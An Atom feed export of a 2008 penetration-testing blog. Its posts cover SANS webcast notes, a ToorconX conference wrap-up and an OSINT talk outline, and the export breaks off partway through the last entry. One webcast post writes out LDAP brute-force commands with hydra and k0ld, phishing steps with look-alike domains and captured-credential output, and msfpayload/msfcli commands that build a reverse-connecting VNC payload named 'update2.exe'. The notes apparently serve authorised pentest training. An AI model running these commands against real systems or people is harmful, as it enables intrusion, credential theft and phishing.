<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/atom10full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:gd="http://schemas.google.com/g/2005" gd:etag="W/&quot;A0UCQH87fCp7ImA9WxRQFko.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238</id><updated>2008-10-10T18:54:21.104-04:00</updated><title>Carnal0wnage Blog</title><subtitle type="html">carnal0wnage and zero(day) solutions blog</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default?start-index=26&amp;max-results=25" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>211</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/Carnal0wnageBlog" type="application/atom+xml" /><entry gd:etag="W/&quot;A0UCQH86eSp7ImA9WxRQFko.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-1768648808813907206</id><published>2008-10-10T18:53:00.001-04:00</published><updated>2008-10-10T18:54:21.111-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-10T18:54:21.111-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security Conferences" /><title>OWASP APPSEC 2008 Conference Videos Online</title><content type="html">OWASP &lt;tt&gt;APPSEC 2008 &lt;/tt&gt;Conference Videos are online&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.tv"&gt;http://www.owasp.tv&lt;/a&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=AEfL2D"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=AEfL2D" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/1768648808813907206/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1768648808813907206" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/1768648808813907206?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/1768648808813907206" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/owasp-appsec-2008-conference-videos.html" title="OWASP APPSEC 2008 Conference Videos Online" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;Dk8NQHk9eip7ImA9WxRQFks.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-6173616905972657786</id><published>2008-10-10T14:51:00.002-04:00</published><updated>2008-10-10T14:54:51.762-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-10T14:54:51.762-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="webcasts" /><title>Notes from SANS Penetration Testing with Confidence Webcast</title><content type="html">SANS Webcast&lt;br /&gt;&lt;a href="https://www.sans.org/webcasts/show.php?webcastid=91101"&gt;https://www.sans.org/webcasts/show.php?webcastid=91101&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Penetration Testing with Confidence: 10 Keys to Success&lt;br /&gt;&lt;br /&gt;Lenny Zeltser&lt;br /&gt;&lt;br /&gt;-(slide 3) sometimes the role of the attacker is tricky for a defender&lt;br /&gt;-(slide 5) Asking the right questions about the pentest is essential to success.&lt;br /&gt;**Less about a step by step and more about asking the right questions to get the right pen test for the customer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Question #1&lt;br /&gt;-Is a pen test the type of assessment that is needed?&lt;br /&gt;**Do you need to demonstrate the vulnerability, do you need to exploit it or is finding the vulnerability enough?&lt;br /&gt;&lt;br /&gt;*Types of Assessments&lt;br /&gt;   -Vulnerability Assessment&lt;br /&gt;   -Security Policy Assessment&lt;br /&gt;   -Penetration Test&lt;br /&gt;&lt;br /&gt;Question #2&lt;br /&gt;-What is the scope?&lt;br /&gt;&lt;br /&gt;*if its a pen test, is the customer actually ready to have their network or application exploited&lt;br /&gt;*possibility of system crashes and failures due to failed exploitation attempts&lt;br /&gt;*pen tests are good for shock value, prove that someone can get in and access information&lt;br /&gt;&lt;br /&gt;*Scope Questions&lt;br /&gt;&lt;br /&gt;   -Targets=which specific systems or networks?&lt;br /&gt;   -Depth=how far into the network can we go? need to work that out before you start.&lt;br /&gt;   -Exclusions=self explanatory&lt;br /&gt;   **excluded systems are usually the most jacked up :-)&lt;br /&gt;&lt;br /&gt;Question #3&lt;br /&gt;-What tests should be performed?&lt;br /&gt;&lt;br /&gt;*Commonly excluded tests ;-(&lt;br /&gt;   **mostly because they are so effective&lt;br /&gt;   -Denial of Service&lt;br /&gt;   -Physical Security&lt;br /&gt;   -Social Engineering&lt;br /&gt;       *but if its allowed, try to test specific cases that would be violations of policy or training, will people click on links in emails even though the user training says not to&lt;br /&gt;   -War Dialing&lt;br /&gt;   -Client-side Attacks&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Question #4&lt;br /&gt;-Are non-commercial tools allowed?&lt;br /&gt;   **Canvas, Core Impact, MSF, standalone exploits, BT are not necessarily "vetted" and you may need to get permission to use them&lt;br /&gt;&lt;br /&gt;Question #5&lt;br /&gt;-What is the attacker's profile&lt;br /&gt;&lt;br /&gt;*Professional versus amateur&lt;br /&gt;   -Target a network for information and money&lt;br /&gt;   -Non-targeted attack, attack of opportunity&lt;br /&gt;   *knowing what type of attacker will drive the types of tests you do&lt;br /&gt;&lt;br /&gt;Question #6&lt;br /&gt;-Is it a White Box or Black Box test?&lt;br /&gt;&lt;br /&gt;   -White=full knowledge  &lt;br /&gt;   -Black=no knowledge minus left &amp;amp; right limits&lt;br /&gt;   *depending on the test drives the Path of least resistance and attack trees&lt;br /&gt;   -Try to strategize before hand, check out slides 19-22, consider making attack trees&lt;br /&gt;&lt;br /&gt;Question #7&lt;br /&gt;-What are the time constraints?&lt;br /&gt;&lt;br /&gt;   -Duration of the test&lt;br /&gt;   -Timing restrictions&lt;br /&gt;&lt;br /&gt;Question #8&lt;br /&gt;-How to handle issues that may arise during the test?&lt;br /&gt;&lt;br /&gt;   -Target system crashed&lt;br /&gt;   -Sensitive data found&lt;br /&gt;   -You're not the first person on the box...eeeeek&lt;br /&gt;   *have a contact form for issues that come up&lt;br /&gt;&lt;br /&gt;Question #9&lt;br /&gt;-What do you do with the results?&lt;br /&gt;&lt;br /&gt;Question #10&lt;br /&gt;-Do I have explicit permission to perform the pen test&lt;br /&gt; &lt;br /&gt;   -Written permission...CYA
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=Ex7WsZ"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=Ex7WsZ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/6173616905972657786/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6173616905972657786" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/6173616905972657786?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/6173616905972657786" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/notes-from-sans-penetration-testing.html" title="Notes from SANS Penetration Testing with Confidence Webcast" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;DkEER3c8eCp7ImA9WxRQFUU.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-4630998748990791645</id><published>2008-10-09T16:27:00.002-04:00</published><updated>2008-10-09T16:36:46.970-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-09T16:36:46.970-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="webcasts" /><category scheme="http://www.blogger.com/atom/ns#" term="information Gathering" /><title>Notes from SANS Beyond Front-Line Exploits Webcast</title><content type="html">&lt;span style="font-weight: bold;"&gt;Webcast &lt;/span&gt;&lt;a href="http://www.sans.org/webcasts/show.php?webcastid=91586"&gt;http://www.sans.org/webcasts/show.php?webcastid=91586&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Beyond Front-Line Exploits:&lt;br /&gt;Tips and Tools for Comprehensive Penetration Testing&lt;br /&gt;&lt;br /&gt;Lenny Zeltser August 2008&lt;br /&gt;&lt;br /&gt;#1 Data in plain sight:&lt;br /&gt;&lt;br /&gt;-(slide 6/7) site:example.com filetype:pdf&lt;br /&gt;-(slide 8/9)Libextractor for extracting metadata&lt;br /&gt;-(slide 10) Metagoofil&lt;br /&gt;-(slide 11/12)maltego&lt;br /&gt;&lt;br /&gt;#2: Remote Password-Guessing&lt;br /&gt;&lt;br /&gt;-If you dont find possible usernames using the info in Data In Plain Sight, you can generate your own using&lt;br /&gt;US Census to generate Top Last Names, Top Female First Names, Top Male First Names&lt;br /&gt;http://www.census.gov/genealogy/names/names_files.html&lt;br /&gt;&lt;br /&gt;*you'll have to figure out the naming convention for the company your auditing&lt;br /&gt;&lt;br /&gt;**my note: have your top 40 username/pass I also have one for mssql passwords, at least you can do a "low hanging fruit" type check besides checking for null passwod&lt;br /&gt;&lt;br /&gt;-(slide 15)theharvester for email gathering -use google, linkedin, pgp&lt;br /&gt;-(slide 16) see if webpage gives you a clue if your username/pass is wrong username or wrong password based on error messages in the app&lt;br /&gt;-(slide 17) validate usernames using brutus if the app return useful error messages&lt;br /&gt;-(slide 18/19) create a list of good usernames and a short list of passwords that are worth trying "remote password guessing" writeup on ISC&lt;br /&gt;-(slide 20) Accent Keyword Extractor, keywords that could be passwords for people in the company&lt;br /&gt;-(slide 21) is the password recovery mechanism a weak link? ask you for secret question and display new password, can you use the app to find valid usernames? where if i enter in the wrong username it says i dont know who you are, where if i enter in a correct username a i get a secret question prompt&lt;br /&gt;-(slide 24) if ldap exposed or queriable -- Ldap bruteforce with hydra $ hydra -L users.txt –P passwords.txt ldap.example.com ldap2 or $ k0ld –f users.txt -w passwords.txt -I -o out.txt -f 'cn=*' -h ldap.example.com  k0ld is supposedly written specificicaly for ldap&lt;br /&gt;-(slide 25) tsgrinder -- need old version or RDP client for tsgrinder to work, need version 5&lt;br /&gt;** tut by me http://www.ethicalhacker.net/content/view/106/24/&lt;br /&gt;** default 2k3 password complexity with shut this tool down without a good dictionary&lt;br /&gt;&lt;br /&gt;#3: Social engineering&lt;br /&gt;**just ask for what you need!&lt;br /&gt;-(slide 29) email phish example for password reset&lt;br /&gt;-(slide 30) ArGoSoft Mail Server Freeware allows you to relaymail locally&lt;br /&gt;-(slide 31) register a similar domain name as your target, use domaintools.com to check for you. http://www.domaintools.com/domain-typo&lt;br /&gt;-(slide 32) just present an error message after the user inputs creds to&lt;br /&gt;-(slide 33) php backend and plugins to grab important data&lt;br /&gt;USER: jsmith&lt;br /&gt;PASSWORD: plumlips&lt;br /&gt;LOCAL IP: 192.168.2.144&lt;br /&gt;REMOTE IP: 208.77.188.166&lt;br /&gt;PORT: 61035&lt;br /&gt;USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-&lt;br /&gt;US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6&lt;br /&gt;PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1;&lt;br /&gt;Mozilla Default Plug-in; RealJukebox NS Plugin;&lt;br /&gt;RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit);&lt;br /&gt;Shockwave Flash; Java(TM) Platform SE 6 U2;&lt;br /&gt;&lt;br /&gt;*current browsers are not allowing to pull local IP easily&lt;br /&gt;&lt;br /&gt;#4: Client-Side Backdoors&lt;br /&gt;&lt;br /&gt;-(slide 35/36) target those 3rd party client side vulnerabilities -- delivery is still email or web&lt;br /&gt;-(slide 37) just ask user to install the malware&lt;br /&gt;-(slide 38/39) reverse shell out to attacker, or use msfpayload, he used VNCreverse&lt;br /&gt;$ msfpayload windows/vncinject/reverse_tcp LPORT=5544&lt;br /&gt;LHOST=192.168.1.124 DisableCourtesyShell=True X &gt;&lt;br /&gt;update2.exe&lt;br /&gt;Created by msfpayload (http://www.metasploit.com).&lt;br /&gt;Payload: windows/vncinject/reverse_tcp&lt;br /&gt;Length: 177&lt;br /&gt;Options: LHOST=192.168.1.124,LPORT=5544,&lt;br /&gt;DisableCourtesyShell=True&lt;br /&gt;&lt;br /&gt;$ msfcli exploit/multi/handler LPORT=5544&lt;br /&gt;PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.124&lt;br /&gt;DisableCourtesyShell=True E&lt;br /&gt;&lt;br /&gt;-(slide 43) try to get some new things brought into scope for pentests especialy client sides&lt;br /&gt;&lt;br /&gt;-from the questions, mindmap all that info above to organize, freemind is a free version
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=rXRRqK"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=rXRRqK" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/4630998748990791645/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4630998748990791645" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/4630998748990791645?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/4630998748990791645" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/notes-from-sans-beyond-front-line.html" title="Notes from SANS Beyond Front-Line Exploits Webcast" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;C0QCQ307fCp7ImA9WxRQE08.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-7318340862742137402</id><published>2008-10-06T15:27:00.002-04:00</published><updated>2008-10-06T15:29:22.304-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-06T15:29:22.304-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="fail" /><title>AMEX = FAIL</title><content type="html">saw this today while reseting a password...awesome.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/SOpm62IJcPI/AAAAAAAAATE/-IWf9RtvxV8/s1600-h/amex-you-suck.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/SOpm62IJcPI/AAAAAAAAATE/-IWf9RtvxV8/s400/amex-you-suck.JPG" alt="" id="BLOGGER_PHOTO_ID_5254125076429238514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also looks like I'm not the only one having the problem.&lt;br /&gt;&lt;a href="http://lastinfirstout.blogspot.com/2008/10/trivial-account-reset-on-american.html"&gt;http://lastinfirstout.blogspot.com/2008/10/trivial-account-reset-on-american.html&lt;/a&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=qF1T4t"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=qF1T4t" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/7318340862742137402/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7318340862742137402" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/7318340862742137402?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/7318340862742137402" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/amex-fail.html" title="AMEX = FAIL" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_bgJlT6eWjGg/SOpm62IJcPI/AAAAAAAAATE/-IWf9RtvxV8/s72-c/amex-you-suck.JPG" height="72" width="72" /></entry><entry gd:etag="W/&quot;AkcDQ304eip7ImA9WxRQEEU.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-1318579992335603400</id><published>2008-10-03T22:30:00.003-04:00</published><updated>2008-10-03T22:41:12.332-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-03T22:41:12.332-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="fail" /><category scheme="http://www.blogger.com/atom/ns#" term="rfid" /><category scheme="http://www.blogger.com/atom/ns#" term="politics" /><title>California RFID Law = FAIL</title><content type="html">I've been looking for something good to give the "FAIL" to and here it is:&lt;br /&gt;&lt;br /&gt;From Wired Threat Level:&lt;br /&gt;&lt;br /&gt;"California followed Washington State's footsteps this week to become the second U.S. state outlawing so-called Radio Frequency Identification Device skimming.  &lt;p&gt;&lt;a href="http://www.wired.com/wired/archive/14.05/rfid_pr.html"&gt;Skimmers&lt;/a&gt; can easily pilfer information from non-encrypted &lt;a href="http://wired.com/news/privacy/0,1848,68271,00.html"&gt;RFID&lt;/a&gt; tags that are growing commonplace. California's bill was adopted and signed by Gov. Arnold Schwarzenegger this week after a demonstration showed that personal information skimmed from entry-card badges from statehouse workers allowed hackers access to secured areas of government offices.&lt;/p&gt;Still, California's &lt;a href="http://info.sen.ca.gov/pub/07-08/bill/sen/sb_0001-0050/sb_31_bill_20080807_amended_asm_v92.pdf"&gt;measure&lt;/a&gt; (.pdf) and the &lt;a href="http://apps.leg.wa.gov/billinfo/summary.aspx?bill=1031"&gt;one&lt;/a&gt; Washington State &lt;a href="http://blog.wired.com/sterling/2008/03/arphid-watch-sk.html"&gt;adopted&lt;/a&gt; in March, &lt;span style="font-weight: bold;"&gt;don't mandate any RFID encryption&lt;/span&gt;. So the vulnerabilities of the Golden State statehouse's entry system remains."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.wired.com/27bstroke6/2008/10/rfid-anti-skimm.html"&gt;http://blog.wired.com/27bstroke6/2008/10/rfid-anti-skimm.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All I can say is wow (or fail).  The only people this is going to hurt is the security consultants trying to find and fix insecure RFID applications for customers.  Much akin to banning guns so only the bad guys have them.   Non-technicians making technical policy FTW!
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=OB1RmG"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=OB1RmG" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/1318579992335603400/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1318579992335603400" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/1318579992335603400?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/1318579992335603400" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/california-rfid-law-fail.html" title="California RFID Law = FAIL" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;AkMBRHo8fCp7ImA9WxRQEE0.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-7959023996363827527</id><published>2008-10-02T19:25:00.003-04:00</published><updated>2008-10-03T00:34:15.474-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-03T00:34:15.474-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="toorcon" /><title>ToorconX Wrap-Up</title><content type="html">Joe and I had the opportunity to teach our 2 day Crash Course In Pentesting workshop at Toorcon X.  I felt like the workshop went pretty well and we got some good feedback from the students.  Joe has spent that last year really working on web application pentesting and can really break down SQL injection and XSS type assessments and attacks.  He had day two of the workshop and I thought it was really good.  We even had a custom bookstore web application built for the students to practice SQLI, XSS, and LFI/RFI.  I had day one.  Frankly I covered too much material and not enough time for the students to actually do anything with the lab images but they did get the hard drives to take that stuff home along with the lab manual for the web application thing and the draft version of the LSO Metasploit Mini-Course.&lt;br /&gt;&lt;br /&gt;Here is the breakdown of the seminars.&lt;br /&gt;&lt;a href="http://sandiego.toorcon.org/content/section/5/7/"&gt;http://sandiego.toorcon.org/content/section/5/7/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; 9:30    Jay Beale: Owning the Users with The Middler&lt;br /&gt; 11:00    James O'Gorman &amp;amp; Matthew Churchill: Digital Forensics - Footsteps in the Snow&lt;br /&gt; 14:00    Travis Goodspeed: Repurposing the TI EZ430 Development Tool&lt;br /&gt; 15:30    Ryan Sherstobitoff: The Evolution of Cyber Crime&lt;br /&gt; 17:00    Jared DeMott: AppSec A-Z: Reverse Engineering, Source Code Auditing, Fuzzing, and Exploitation&lt;br /&gt;&lt;br /&gt;Jay Beale's talk was cool, it was on his tool middler which I had heard about before but hadnt played with (I think because it wasnt released).  It will MITM the user's browser and hijack EVERY web session, grab the cookies, insert any javascript of your choosing. I dont think the tools website is up yet but his slides from Defcon16 are, you can check those out for more info:&lt;br /&gt;&lt;a href="http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-beale-2.pdf"&gt;http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-beale-2.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;James O'Gorman &amp;amp; Matthew Churchill from &lt;a href="http://www.continuumww.com/"&gt;Continuum World Wide&lt;/a&gt; gave a good talk on forensics.   The had some great slides on dispelling forensics myths and gave everyone a chance to ask questions about the current state of forensics.&lt;br /&gt;&lt;br /&gt;I missed Travis Goodspeed's talk.&lt;br /&gt;&lt;br /&gt;I caught most of Ryan Sherstobitoff's talk.  He was from &lt;a href="http://www.pandasecurity.com/usa/"&gt;Panda Security&lt;/a&gt; and talked about some stats they had accumulated on different types of malware in the wild.&lt;br /&gt;&lt;br /&gt;Jared DeMott talked about reversing 101 and exploitation 101.  quite a bit to cover in 90 minutes.  He covered alot on IDA Pro and then talked about doing some simple exploitation and shellcode development.  Fun stuff.&lt;br /&gt;&lt;br /&gt;Here's the link to the breakdown of the conference, I wont paste it all.&lt;br /&gt;&lt;a href="http://sandiego.toorcon.org/content/section/3/9/"&gt;http://sandiego.toorcon.org/content/section/3/9/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dan Kaminsky's keynote was awesome, he of course talked about the DNS bug but more importantly he talked about how exploitation and vulnerabilities really have to be though of in groups.  Its not so much one vulnerability breaking the internet, but now you can string several together for total world domination.  *btw, NONE of that is a quote from his talk.&lt;br /&gt;&lt;a href="http://toorcon.org/tcx/1_Kaminsky.pdf"&gt;http://toorcon.org/tcx/1_Kaminsky.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I really enjoyed Ben Feinstein's talk on the "Loaded Dice: SSH Key Exchange &amp;amp; the OpenSSL PRNG Vuln." He did a good job explaining SSL and showing the steps with wireshark and then doing a live demo showing what could happen if you are doing SSH with a bad cert.&lt;br /&gt;&lt;a href="http://toorcon.org/tcx/3_Feinstein.pdf"&gt;http://toorcon.org/tcx/3_Feinstein.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ariel Waissbein is from Core Security and talked about some new tool they are releasing that will do simulated exploitation by reading in virtual machine config files and interfacing that will core impact "to test to see if you were vulnerable in the past".  I wasn't too impressed.  If i was taking the I was owned in the past stance I should just go start looking for evidence of the hack rather than testing to see if the Core Impact module works.&lt;br /&gt;&lt;a href="http://toorcon.org/tcx/5_Waissbein.pdf"&gt;http://toorcon.org/tcx/5_Waissbein.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Joe McCray of course rocked the SQLI.&lt;br /&gt;&lt;a href="http://toorcon.org/tcx/9_McCray.pdf"&gt;http://toorcon.org/tcx/9_McCray.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Grutz rocked the NTLM pass the hash with windows authentication and squirtle. If i hear the talk one more time I might be able to take in the full impact of what you can do with it.&lt;br /&gt;&lt;a href="http://toorcon.org/tcx/10_Grutz.pdf"&gt;http://toorcon.org/tcx/10_Grutz.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Sunday was the 20 minute talks.&lt;br /&gt;&lt;br /&gt;I caught Christian Heinrich's "Googless" talk where his OWASP group is writing some code to use the google SOAP API to do some searches.&lt;br /&gt;&lt;br /&gt;I caught a bit of Marc Bevand's "Breaking UNIX crypt() on the PlayStation 3" talk but had to leave early to get set up for my talk&lt;br /&gt;&lt;br /&gt;Got in late for Dan Griffin's "Hacking SharePoint" but it seemed good, looking forward to the slides from it.&lt;br /&gt;&lt;br /&gt;Here's what I caught the rest the of the day:&lt;br /&gt;Dan Hubbard's "P0wn the Cloud. The good, the bad, and the pugly of Cloud Computing"&lt;br /&gt;&lt;br /&gt;Joshua Brashars' "Owning telephone entry systems (aka why you shouldn't sleep so well)" basically what the title says, default passwords are great, default passwords of 0000 are even better.&lt;br /&gt;&lt;br /&gt;Stephan Chenette's "Ultimate Script Deobfuscation: Browser Hooking versus simulation" discussed a very cool tool that would hook IE and document.write and other function I cant remember right now so you can read what the obfuscated java is doing after the browser has done its thing with it.  very cool.&lt;br /&gt;&lt;br /&gt;David Byrne's "Advanced Techniques in Automated Web Application Testing" talked about &lt;a href="http://grendel-scan.com/"&gt;Grendal-Scan&lt;/a&gt; and the &lt;a href="http://www.grendel-scan.com/blog/"&gt;Grendal-Scan blog.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luis Miras &amp;amp; Zane Lackey's "Mobile Phone Messaging Anti-Forensics" talked about F'ing up the SD card on cell phones that would crash any SD forensics software.&lt;strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;All in all a great con. Huge props to all toorcon crew.&lt;/span&gt;&lt;br /&gt;&lt;/strong&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=OiYygo"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=OiYygo" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/7959023996363827527/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7959023996363827527" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/7959023996363827527?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/7959023996363827527" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/toorconx-wrap-up.html" title="ToorconX Wrap-Up" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;DEYAQX48fSp7ImA9WxRRGUU.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-690526082501860198</id><published>2008-10-02T17:58:00.004-04:00</published><updated>2008-10-02T18:22:20.075-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-02T18:22:20.075-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Chris Gates" /><category scheme="http://www.blogger.com/atom/ns#" term="toorcon" /><category scheme="http://www.blogger.com/atom/ns#" term="Maltego" /><category scheme="http://www.blogger.com/atom/ns#" term="information Gathering" /><title>New School Information Gathering ToorconX edition</title><content type="html">Here is the outline for my New School Information Gathering talk that I gave at &lt;a href="http://sandiego.toorcon.org/content/section/3/9/"&gt;ToorconX&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Open Source Intelligence Gathering (OSINT)‏&lt;br /&gt;FierceDNS&lt;br /&gt;SEAT/Goolag&lt;br /&gt;Google Mail Harvesters&lt;br /&gt;Metagoofil&lt;br /&gt;Online Tools: ServerSniff/DomainTools/CentralOps/Clez.net/Robtex/Spoke&lt;br /&gt;Tying it all together with Maltego&lt;br /&gt;&lt;br /&gt;I hid several slides to get the talk into the 20 minute time frame but you should see them in the posted slide deck.&lt;br /&gt;&lt;br /&gt;Slides are available here:&lt;br 